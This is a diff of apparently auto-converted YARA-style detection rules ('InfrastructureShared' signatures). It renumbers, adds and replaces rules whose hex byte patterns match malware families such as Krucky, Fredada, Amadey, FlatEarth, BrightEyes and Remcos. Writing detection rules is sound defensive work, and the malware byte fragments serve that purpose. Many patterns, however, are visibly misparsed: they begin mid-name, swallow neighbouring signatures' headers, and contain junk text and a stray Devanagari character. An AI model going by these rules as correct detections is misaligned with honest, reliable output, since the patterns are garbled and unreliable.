2a 51 af 18 8e 9a c6 cf c4 07 00 00 78 } //25899 + $a_44_3 = {2c 74 c6 44 24 2d 53 c6 44 24 2e 79 c6 44 24 2f 73 c6 44 24 30 74 c6 44 24 31 65 c6 44 24 32 6d 00 00 78 9e 00 00 4b 00 4b 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 75 63 6b 79 2e 4d 52 21 4d 54 42 00 1e 00 1f 01 89 c1 c1 f9 07 8d 8c 09 d2 14 39 00 83 e0 7f 8b 51 02 2b 11 0f b7 d2 f7 ea c1 f8 07 66 03 01 19 00 2a 01 8b 46 04 0f b6 18 89 5e 0c 8b 04 9d 05 43 a7 00 c1 e8 04 8b 04 85 05 53 a7 00 c1 f8 02 66 ab 80 c4 08 c1 e8 04 83 ca ff 29 c2 14 00 20 01 8b 06 0f b6 50 01 0f b6 00 8a 4d 1c fe c6 8b 04 85 05 3b a7 00 d3 ea 19 c9 31 c8 29 c8 3b 55 14 00 00 78 9f } //25899 condition: ((#a_63_0 & 1)*18467+(#a_02_1 & 1)*104+(#a_00_2 & 1)*144+(#a_44_3 & 1)*25899) >=30 } -rule _InfrastructureShared_10950{ +rule _InfrastructureShared_11657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " strings : $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 72 65 64 61 64 61 21 64 68 61 00 14 00 0a 00 48 b8 da da da da ba ba ba ba 14 00 08 00 0f 01 09 80 04 b3 c3 c3 14 00 19 03 0f b7 04 01 3d 4d 5a 00 00 74 12 48 8b 44 90 01 } //21283 $a_00_1 = {10 00 00 90 00 14 00 37 00 c6 44 24 28 4d c6 44 24 29 6d c6 44 24 2a 47 c6 44 24 2b 65 c6 44 24 2c 74 c6 44 24 2d 53 c6 44 24 2e 79 c6 } //18434 - $a_73_2 = {44 24 30 74 c6 44 24 31 65 c6 44 24 32 6d 00 00 78 9f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 65 73 74 41 63 63 75 6d 75 } //9284 - $a_6f_3 = {00 01 00 78 01 4f 70 46 da e1 8d f6 41 59 e8 5d 26 1e cc 2f 89 26 6d 52 ba bc 11 6b a9 c6 47 e4 9c 1e b6 65 a2 b6 cd 90 47 1c df f8 10 4b d2 7c c4 72 25 c6 97 25 5d c6 1d 4b 36 bc 38 36 33 f8 89 b4 4c 65 a7 96 ca 1b 63 c3 4b 6a 63 dc 85 4c 57 ee 2a 05 c7 0c e7 39 35 8a c1 bf 13 d9 52 51 3d 2e 41 f5 72 85 23 fe a1 aa 53 61 3b 25 5f 62 b4 36 ee 2a } //24940 + $a_73_2 = {44 24 30 74 c6 44 24 31 65 c6 44 24 32 6d 00 00 78 9e 00 00 4b 00 4b 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 } //9284 + $a_79_3 = {4d 52 21 4d 54 42 00 1e 00 1f 01 89 c1 c1 f9 07 8d 8c 09 d2 14 39 00 83 e0 7f 8b 51 02 2b 11 0f b7 d2 f7 ea c1 f8 07 66 03 01 19 00 2a 01 8b 46 04 0f b6 18 89 5e 0c 8b 04 9d 05 43 a7 00 c1 e8 04 8b 04 85 05 53 a7 00 c1 f8 02 66 ab 80 c4 08 c1 e8 04 83 ca ff 29 c2 14 00 20 01 8b 06 0f b6 50 01 0f b6 00 8a 4d 1c fe c6 8b } //25461 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*18434+(#a_73_2 & 1)*9284+(#a_6f_3 & 1)*24940) >=40 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*18434+(#a_73_2 & 1)*9284+(#a_79_3 & 1)*25461) >=40 } -rule _InfrastructureShared_10951{ +rule _InfrastructureShared_11658{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,4b 00 4b 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 75 63 6b 79 2e 4d 52 21 4d 54 42 00 1e 00 1f 01 89 c1 c1 f9 07 8d 8c 09 d2 14 39 00 83 e0 7f 8b 51 02 2b 11 0f b7 d2 f7 ea c1 f8 07 66 03 01 19 00 2a 01 8b 46 04 } //21539 + $a_89_1 = {0c 8b 04 9d 05 43 a7 00 c1 e8 04 8b 04 85 05 53 a7 00 c1 f8 02 66 ab 80 } //-18929 + $a_e8_2 = {83 ca ff 29 c2 14 00 20 01 8b 06 0f b6 50 01 0f b6 00 8a 4d 1c fe c6 8b 04 85 05 3b a7 00 d3 ea 19 c9 31 c8 29 c8 3b 55 14 00 00 78 9f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 65 73 74 41 63 63 75 6d 75 6c 61 74 6f 72 00 01 00 78 01 4f 70 46 da e1 8d f6 41 59 e8 5d 26 1e cc 2f 89 26 6d 52 ba bc 11 6b a9 c6 47 e4 9c 1e b6 65 a2 b6 cd 90 47 1c df f8 10 4b d2 7c c4 72 25 c6 97 25 5d c6 1d 4b 36 bc 38 36 33 f8 89 b4 4c 65 a7 96 ca 1b 63 c3 4b 6a 63 dc 85 4c 57 ee 2a 05 c7 0c e7 39 35 8a c1 bf 13 d9 52 51 3d 2e 41 f5 72 85 23 fe a1 aa 53 61 3b 25 5f 62 b4 36 } //2244 + condition: + ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*-18929+(#a_e8_2 & 1)*2244) >=75 + +} +rule _InfrastructureShared_11659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119897,7 +127794,7 @@ rule _InfrastructureShared_10951{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10952{ +rule _InfrastructureShared_11660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119907,7 +127804,7 @@ rule _InfrastructureShared_10952{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10953{ +rule _InfrastructureShared_11661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119917,7 +127814,17 @@ rule _InfrastructureShared_10953{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10954{ +rule _InfrastructureShared_11662{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 45 61 72 74 68 2e 41 21 64 68 61 00 01 00 70 01 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 00 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 70 6c 69 63 61 74 69 6f 6e 2f 78 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_11663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119927,7 +127834,7 @@ rule _InfrastructureShared_10954{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10955{ +rule _InfrastructureShared_11664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119937,7 +127844,7 @@ rule _InfrastructureShared_10955{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10956{ +rule _InfrastructureShared_11665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119947,7 +127854,7 @@ rule _InfrastructureShared_10956{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10957{ +rule _InfrastructureShared_11666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119957,7 +127864,7 @@ rule _InfrastructureShared_10957{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10958{ +rule _InfrastructureShared_11667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119967,7 +127874,7 @@ rule _InfrastructureShared_10958{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10959{ +rule _InfrastructureShared_11668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119977,7 +127884,7 @@ rule _InfrastructureShared_10959{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10960{ +rule _InfrastructureShared_11669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119987,7 +127894,7 @@ rule _InfrastructureShared_10960{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10961{ +rule _InfrastructureShared_11670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119997,7 +127904,7 @@ rule _InfrastructureShared_10961{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10962{ +rule _InfrastructureShared_11671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120007,7 +127914,7 @@ rule _InfrastructureShared_10962{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10963{ +rule _InfrastructureShared_11672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120017,7 +127924,7 @@ rule _InfrastructureShared_10963{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10964{ +rule _InfrastructureShared_11673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120027,7 +127934,17 @@ rule _InfrastructureShared_10964{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10965{ +rule _InfrastructureShared_11674{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 41 44 5a 59 21 4d 54 42 00 01 00 6f 03 68 40 26 45 00 56 a3 b8 74 46 00 ff 15 90 01 04 68 54 26 45 00 56 a3 bc 74 46 00 ff 15 90 01 04 68 6c 26 45 00 56 a3 c0 74 46 00 ff 15 90 01 04 68 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_11675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -120037,7 +127954,7 @@ rule _InfrastructureShared_10965{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10966{ +rule _InfrastructureShared_11676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -120048,7 +127965,7 @@ rule _InfrastructureShared_10966{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-16844) >=1 } -rule _InfrastructureShared_10967{ +rule _InfrastructureShared_11677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -120060,7 +127977,7 @@ rule _InfrastructureShared_10967{ ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*-31487+(#a_6e_2 & 1)*28518) >=1 } -rule _InfrastructureShared_10968{ +rule _InfrastructureShared_11678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -120072,7 +127989,7 @@ rule _InfrastructureShared_10968{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*8308+(#a_61_2 & 1)*29487) >=1 } -rule _InfrastructureShared_10969{ +rule _InfrastructureShared_11679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -120085,7 +128002,7 @@ rule _InfrastructureShared_10969{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*19034+(#a_00_2 & 1)*104+(#a_24_3 & 1)*-14847) >=1 } -rule _InfrastructureShared_10970{ +rule _InfrastructureShared_11680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -120098,7 +128015,7 @@ rule _InfrastructureShared_10970{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*5924+(#a_00_2 & 1)*1909+(#a_50_3 & 1)*771) >=1 } -rule _InfrastructureShared_10971{ +rule _InfrastructureShared_11681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -120111,7 +128028,7 @@ rule _InfrastructureShared_10971{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*25992+(#a_52_2 & 1)*21328+(#a_00_3 & 1)*1) >=1 } -rule _InfrastructureShared_10972{ +rule _InfrastructureShared_11682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -120126,7 +128043,7 @@ rule _InfrastructureShared_10972{ ((#a_66_0 & 1)*20259+(#a_06_2 & 1)*-28623+(#a_45_3 & 1)*260+(#a_43_4 & 1)*1+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=1 } -rule _InfrastructureShared_10973{ +rule _InfrastructureShared_11683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120137,7 +128054,7 @@ rule _InfrastructureShared_10973{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8192) >=2 } -rule _InfrastructureShared_10974{ +rule _InfrastructureShared_11684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120148,7 +128065,7 @@ rule _InfrastructureShared_10974{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28619) >=2 } -rule _InfrastructureShared_10975{ +rule _InfrastructureShared_11685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120158,7 +128075,7 @@ rule _InfrastructureShared_10975{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10976{ +rule _InfrastructureShared_11686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120168,7 +128085,7 @@ rule _InfrastructureShared_10976{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10977{ +rule _InfrastructureShared_11687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120179,7 +128096,7 @@ rule _InfrastructureShared_10977{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*90) >=2 } -rule _InfrastructureShared_10978{ +rule _InfrastructureShared_11688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120190,7 +128107,7 @@ rule _InfrastructureShared_10978{ ((#a_54_0 & 1)*18467+(#a_1e_1 & 1)*0) >=2 } -rule _InfrastructureShared_10979{ +rule _InfrastructureShared_11689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120201,7 +128118,7 @@ rule _InfrastructureShared_10979{ ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*20499) >=2 } -rule _InfrastructureShared_10980{ +rule _InfrastructureShared_11690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -120211,7 +128128,7 @@ rule _InfrastructureShared_10980{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_10981{ +rule _InfrastructureShared_11691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -120223,7 +128140,7 @@ rule _InfrastructureShared_10981{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_6f_2 & 1)*8195) >=2 } -rule _InfrastructureShared_10982{ +rule _InfrastructureShared_11692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -120235,7 +128152,7 @@ rule _InfrastructureShared_10982{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*17003+(#a_73_2 & 1)*23552) >=2 } -rule _InfrastructureShared_10983{ +rule _InfrastructureShared_11693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -120248,7 +128165,7 @@ rule _InfrastructureShared_10983{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*7951+(#a_6f_2 & 1)*28257+(#a_00_3 & 1)*0) >=2 } -rule _InfrastructureShared_10984{ +rule _InfrastructureShared_11694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -120261,7 +128178,7 @@ rule _InfrastructureShared_10984{ ((#a_6f_0 & 1)*21539+(#a_2e_1 & 1)*28265+(#a_02_4 & 1)*515+(#a_02_5 & 1)*-28556) >=2 } -rule _InfrastructureShared_10985{ +rule _InfrastructureShared_11695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -120276,7 +128193,7 @@ rule _InfrastructureShared_10985{ ((#a_54_0 & 1)*18467+(#a_21_1 & 1)*780+(#a_00_2 & 1)*2448+(#a_01_4 & 1)*515+(#a_4c_5 & 1)*8993+(#a_70_6 & 1)*25167) >=2 } -rule _InfrastructureShared_10986{ +rule _InfrastructureShared_11696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120288,7 +128205,7 @@ rule _InfrastructureShared_10986{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17407+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_10987{ +rule _InfrastructureShared_11697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120300,7 +128217,7 @@ rule _InfrastructureShared_10987{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_49_2 & 1)*17408) >=3 } -rule _InfrastructureShared_10988{ +rule _InfrastructureShared_11698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120312,7 +128229,7 @@ rule _InfrastructureShared_10988{ ((#a_6c_0 & 1)*16675+(#a_64_1 & 1)*26997+(#a_52_2 & 1)*29541) >=3 } -rule _InfrastructureShared_10989{ +rule _InfrastructureShared_11699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120324,7 +128241,7 @@ rule _InfrastructureShared_10989{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*385+(#a_33_2 & 1)*26967) >=3 } -rule _InfrastructureShared_10990{ +rule _InfrastructureShared_11700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120336,7 +128253,7 @@ rule _InfrastructureShared_10990{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17696+(#a_64_2 & 1)*26912) >=3 } -rule _InfrastructureShared_10991{ +rule _InfrastructureShared_11701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120348,7 +128265,7 @@ rule _InfrastructureShared_10991{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25185+(#a_00_2 & 1)*66) >=3 } -rule _InfrastructureShared_10992{ +rule _InfrastructureShared_11702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120360,7 +128277,7 @@ rule _InfrastructureShared_10992{ ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*28527+(#a_4c_2 & 1)*7680) >=3 } -rule _InfrastructureShared_10993{ +rule _InfrastructureShared_11703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -120372,7 +128289,7 @@ rule _InfrastructureShared_10993{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*18624+(#a_73_2 & 1)*21364) >=3 } -rule _InfrastructureShared_10994{ +rule _InfrastructureShared_11704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -120385,7 +128302,7 @@ rule _InfrastructureShared_10994{ ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*8304+(#a_61_2 & 1)*28530+(#a_6c_3 & 1)*29697) >=3 } -rule _InfrastructureShared_10995{ +rule _InfrastructureShared_11705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120398,7 +128315,7 @@ rule _InfrastructureShared_10995{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25185+(#a_64_2 & 1)*28277+(#a_2e_3 & 1)*28263) >=4 } -rule _InfrastructureShared_10996{ +rule _InfrastructureShared_11706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120411,7 +128328,7 @@ rule _InfrastructureShared_10996{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*30317+(#a_00_2 & 1)*66+(#a_6e_3 & 1)*385) >=4 } -rule _InfrastructureShared_10997{ +rule _InfrastructureShared_11707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120423,7 +128340,7 @@ rule _InfrastructureShared_10997{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25710+(#a_6c_2 & 1)*29795) >=4 } -rule _InfrastructureShared_10998{ +rule _InfrastructureShared_11708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120436,7 +128353,7 @@ rule _InfrastructureShared_10998{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8302+(#a_61_2 & 1)*29697+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_10999{ +rule _InfrastructureShared_11709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120449,7 +128366,7 @@ rule _InfrastructureShared_10999{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24948+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_11000{ +rule _InfrastructureShared_11710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120461,7 +128378,7 @@ rule _InfrastructureShared_11000{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26212+(#a_65_2 & 1)*26988) >=4 } -rule _InfrastructureShared_11001{ +rule _InfrastructureShared_11711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -120474,7 +128391,7 @@ rule _InfrastructureShared_11001{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29557+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_11002{ +rule _InfrastructureShared_11712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -120488,7 +128405,7 @@ rule _InfrastructureShared_11002{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25705+(#a_72_2 & 1)*12082+(#a_3a_3 & 1)*9473+(#a_04_4 & 1)*259) >=4 } -rule _InfrastructureShared_11003{ +rule _InfrastructureShared_11713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -120496,60 +128413,26 @@ rule _InfrastructureShared_11003{ $a_4c_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 42 72 69 67 68 74 45 79 65 73 2e 42 21 64 68 61 00 01 00 0e 01 32 30 31 37 30 35 30 32 31 36 30 33 30 36 01 00 1b 01 5c 77 69 6e 64 6f 77 73 5c 73 } //21539 $a_65_1 = {33 32 5c 77 6d 69 70 64 2e 64 6c 6c 01 00 0e 01 25 73 3a 2f 2f 2b 3a 25 64 25 73 70 70 2f 01 00 0e 01 73 65 6c 66 20 75 6e 69 6e 73 74 61 6c 6c 03 00 13 01 5c 70 72 6f 6a 65 63 74 5c 6f 77 6c 5c 69 73 61 70 69 5c 00 00 78 9f 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 45 } //29561 $a_00_2 = {01 00 12 03 24 56 69 72 74 90 09 02 00 81 90 03 01 01 04 34 90 00 01 00 13 03 24 04 75 61 6c 50 90 09 02 00 81 90 03 01 01 44 74 90 00 01 00 13 03 24 } //24407 - $a_74_3 = {90 09 02 00 81 90 03 01 01 44 74 90 00 01 00 18 03 24 0c 63 74 45 78 90 09 02 00 90 03 01 01 81 c7 90 03 01 01 44 74 90 00 02 00 05 01 90 90 0f 57 e3 02 00 05 01 90 90 0f 57 de 00 00 78 9f 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 52 4f 41 21 4d 54 42 00 05 00 6f 03 } //29192 - $a_03_4 = {11 05 91 08 61 } //4361 + $a_74_3 = {90 09 02 00 81 90 03 01 01 44 74 90 00 01 00 18 03 24 0c 63 74 45 78 90 09 02 00 90 03 01 01 81 c7 90 03 01 01 44 74 90 00 02 00 05 01 90 90 0f 57 e3 02 00 05 01 90 90 0f 57 de 00 00 78 9f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 4e 31 32 33 21 4d 54 42 00 01 00 0c 81 01 72 } //29192 + $a_73_4 = {75 73 6b 65 6e 65 01 00 1d 81 01 71 75 65 79 73 20 70 75 73 6c 69 6e 67 65 72 73 20 74 79 70 69 66 69 63 61 74 69 6f 6e 01 00 14 81 01 62 65 6a 65 6c 6c 69 6e 67 20 73 6f 72 67 6c 73 65 72 65 73 01 00 14 81 01 73 68 61 7a 61 6d 20 73 75 70 72 61 6f 72 64 69 6e 61 72 79 01 00 0b 81 01 73 61 6d 6d 65 6e } //25193 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29561+(#a_00_2 & 1)*24407+(#a_74_3 & 1)*29192+(#a_03_4 & 1)*4361) >=4 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29561+(#a_00_2 & 1)*24407+(#a_74_3 & 1)*29192+(#a_73_4 & 1)*25193) >=4 } -rule _InfrastructureShared_11004{ +rule _InfrastructureShared_11714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 45 57 5f 32 00 01 00 12 03 24 56 69 72 74 90 09 02 00 81 90 03 01 01 04 34 90 00 01 00 13 03 24 04 75 61 6c 50 90 09 02 00 81 90 03 01 01 44 74 90 00 01 00 13 03 24 08 72 } //18467 - $a_90_1 = {02 00 81 90 03 01 01 44 74 90 00 01 00 18 03 24 0c 63 74 45 78 90 09 02 00 90 03 01 01 81 c7 90 03 01 01 44 74 90 00 02 00 05 01 90 90 0f 57 e3 02 00 05 01 90 90 0f 57 de 00 00 78 9f 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 52 4f 41 21 } //29807 - $a_00_2 = {05 00 6f 03 09 11 05 03 11 05 91 08 61 06 11 04 91 61 b4 9c 11 04 7e 90 01 01 01 00 04 02 28 90 01 01 01 00 06 17 da 33 05 16 13 04 2b 06 11 04 17 d6 13 04 11 05 17 d6 13 05 11 05 11 06 31 c8 7e 90 } //21581 - $a_00_3 = {04 09 } //257 ऄ - $a_01_4 = {00 } //-28556 - $a_8e_5 = {18 da 17 } //256 + $a_90_1 = {02 00 81 90 03 01 01 44 74 90 00 01 00 18 03 24 0c 63 74 45 78 90 09 02 00 90 03 01 01 81 c7 90 03 01 01 44 74 90 00 02 00 05 01 90 90 0f 57 e3 02 00 05 01 90 90 0f 57 de 00 00 78 9f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 4e 31 32 33 21 4d 54 } //29807 + $a_00_2 = {0c } //66 + $a_69_3 = {65 73 62 75 73 6b 65 6e 65 01 00 1d 81 01 71 75 65 79 73 20 70 75 73 6c 69 6e 67 65 72 73 20 74 79 70 69 66 69 63 61 74 